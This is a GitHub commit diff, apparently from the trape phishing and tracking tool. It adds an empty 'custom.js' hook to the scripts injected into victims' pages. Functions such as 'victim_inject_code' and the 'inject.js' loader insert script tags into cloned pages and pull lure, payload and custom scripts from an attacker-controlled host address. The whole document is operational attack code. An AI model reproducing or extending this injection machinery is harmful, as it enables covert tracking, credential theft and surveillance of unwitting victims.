Merge pull request #1 from tdenisenko/master

Add custom.js for injection
jofpin · May 5, 2020 · 16d2fef · 16d2fef
2 parents 800fbf1 + 8cd3836
commit 16d2fef
Show file tree

Hide file tree

Showing 6 changed files with 15 additions and 3 deletions.
diff --git a/core/stats.py b/core/stats.py
@@ -130,7 +130,7 @@ def inject():
         mPath = sys._MEIPASS + '/'
 
     f_codeToInject = open(mPath + "static/js/inject.js","r")
-    codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src'])
+    codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']).replace('[CUSTOM_SRC]', trape.JSFiles[6]['src'])
     f_codeToInject.close()
 
     server_code = ''

diff --git a/core/trape.py b/core/trape.py
@@ -42,7 +42,7 @@ def __init__(self, stat = 0):
 		self.localIp = '127.0.0.1'
 		self.nGrokUrl = ''
 
-		self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},)
+		self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},{"path" : "custom.js", "src" : utils.generateToken(12)},)
 		self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},)
 
 		if self.stat == 1:

diff --git a/core/user.py b/core/user.py
@@ -229,4 +229,5 @@ def assignScripts(code):
     code = code.replace("payload.js", trape.JSFiles[3]['src'])
     code = code.replace("trape.js", trape.JSFiles[4]['src'])
     code = code.replace("vscript.js", trape.JSFiles[5]['src'])
+    code = code.replace("custom.js", trape.JSFiles[6]['src'])
     return code
diff --git a/core/user_objects.py b/core/user_objects.py
@@ -71,6 +71,7 @@ def victim_inject_code(html, script = 'a', url_to_clone = '', gMapsApiKey = 'AIz
     html = html.replace('</head>', '<script type="text/javascript" src="/static/js/libs.min.js"></script></head>')
     html = html.replace('</head>', '<script type="text/javascript">window.gMapsApiKey="' + str(gMapsApiKey) + '"; window.IpInfoApiKey="' + str(IpInfoApiKey) + '";</script></head>')
     html = html.replace('</head>', '<script type="text/javascript" src="/static/js/base.js"></script></head>')
+    html = html.replace('</head>', '<script type="text/javascript" src="/static/js/custom.js"></script></head>')
     html = html.replace('</head>', '<script type="text/javascript" src="/static/js/' + script + '.js"></script></head>')
     return html
 

diff --git a/static/js/custom.js b/static/js/custom.js
@@ -0,0 +1,6 @@
+$(document).ready(function($) {
+    /**
+     * DO NOT delete this file completely.
+     * Your code goes here
+     */
+})
diff --git a/static/js/inject.js b/static/js/inject.js
@@ -2,7 +2,8 @@
 	var paths = [
 		'[HOST_ADDRESS]/static/js/[LIBS_SRC]',
 		'[HOST_ADDRESS]/static/js/[BASE_SRC]',
-		'[HOST_ADDRESS]/static/js/[LURE_SRC]'
+		'[HOST_ADDRESS]/static/js/[LURE_SRC]',
+		'[HOST_ADDRESS]/static/js/[CUSTOM_SRC]'
 	];
 	window.gMapsApiKey = "[YOUR_GMAPS_API_KEY]";
 	var imported = {};
@@ -15,6 +16,9 @@
 			window.serverPath = '[HOST_ADDRESS]';
 			loadScript(function(){
 				idx++;
+				loadScript(function(){
+					idx++;
+				});
 			});
 		});
 	});